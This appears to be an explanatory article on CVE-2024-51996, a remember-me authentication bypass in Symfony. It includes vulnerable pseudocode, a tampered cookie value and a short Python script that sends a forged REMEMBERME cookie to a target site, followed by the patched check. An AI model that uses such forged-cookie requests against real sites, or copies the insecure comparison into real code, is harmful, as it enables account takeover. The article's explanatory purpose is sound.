The security of user authentication is critical in any web application. Recently, a new vulnerability—CVE-2024-51996—was discovered in the *Symfony* PHP framework that can allow attackers to bypass authentication. The flaw affects how Symfony handles "remember-me" functionality, and if left unpatched, it can put user accounts at risk. This article walks through the vulnerability, how attackers can exploit it, provides code snippets to illustrate the problem, and shows you how to fix it.
What is Symfony "Remember-Me"?
Symfony is a popular PHP framework used to build web applications. One of its features is the "remember-me" cookie, which lets users stay logged in even after closing their browsers. This involves persisting certain user information, like the username, in a database.
Summary
In versions before 5.4.47, 6.4.15, and 7.1.8, Symfony's remember-me authentication does not check whether the username in the cookie matches the username stored in the database for the same remember-me token. This opens the door for attackers to obtain access to someone else's account.
Real-World Impact
Any attacker who can obtain a valid remember-me cookie (via XSS, social engineering, or physical access) can use that cookie to log in as any user, as long as the database contains a matching remember-me token—even if the username doesn't match.
The attacker changes the username portion inside the cookie to target another user.
4. If the backend sees a matching remember-me token, it does not check if the username matches. The attacker is now logged in as the target user.
Below is a simplified version of the relevant code logic in Symfony before the fix
// Pseudocode: Symfony's old remember-me authentication flow
$cookieData = getRememberMeCookie(); // contains 'series', 'token', and 'username'
$storedToken = $db->fetchTokenBySeries($cookieData['series']);
// The existing (insecure) comparison:
if ($storedToken && hash_equals($storedToken['token'], $cookieData['token'])) {
// Authentication success: username not checked!
$user = getUserByUsername($cookieData['username']);
loginUser($user);
}
$storedToken could belong to any user.
- The $user fetched by username from the cookie may not match the user who owns the series/token in the database.
Suppose Alice has a valid remember-me cookie
alice|series123|tokencodeABC
An attacker grabs this cookie and manually changes the username to bob
bob|series123|tokencodeABC
If Bob's account uses the same series123 in the backend, the application will log the attacker in as Bob—without verifying that Bob *should* be using that series/token pair.
Here's an example of how this could be exploited in real life
import requests
TARGET_URL = "https://victim.com";
cookie_value = "bob|series123|tokencodeABC"
# Send the malicious cookie with an HTTP request
cookies = {
'REMEMBERME': cookie_value
}
response = requests.get(TARGET_URL, cookies=cookies)
if "Welcome, Bob" in response.text:
print("Authentication bypass successful! Logged in as Bob.")
else:
print("Exploit failed.")
How Was This Fixed?
In patched versions (5.4.47, 6.4.15, and 7.1.8 and later), Symfony now verifies that the username from the cookie matches the username associated with the token in the database:
// Secure version
if (
$storedToken
&& hash_equals($storedToken['token'], $cookieData['token'])
&& $storedToken['username'] === $cookieData['username'] // New check
) {
$user = getUserByUsername($cookieData['username']);
loginUser($user);
}
References
- Symfony Security Advisory: CVE-2024-51996
- GitHub Security Advisory for Symfony
- Orig. Patch PR
Summary
CVE-2024-51996 is a serious authentication bypass affecting Symfony's remember-me feature due to a missing username check. If you use Symfony, upgrade immediately, and review your security policies around persistent cookies. Always validate both token and username when authenticating via cookies!
Timeline
Published on: 11/13/2024 17:15:11 UTC
Last modified on: 11/15/2024 14:00:09 UTC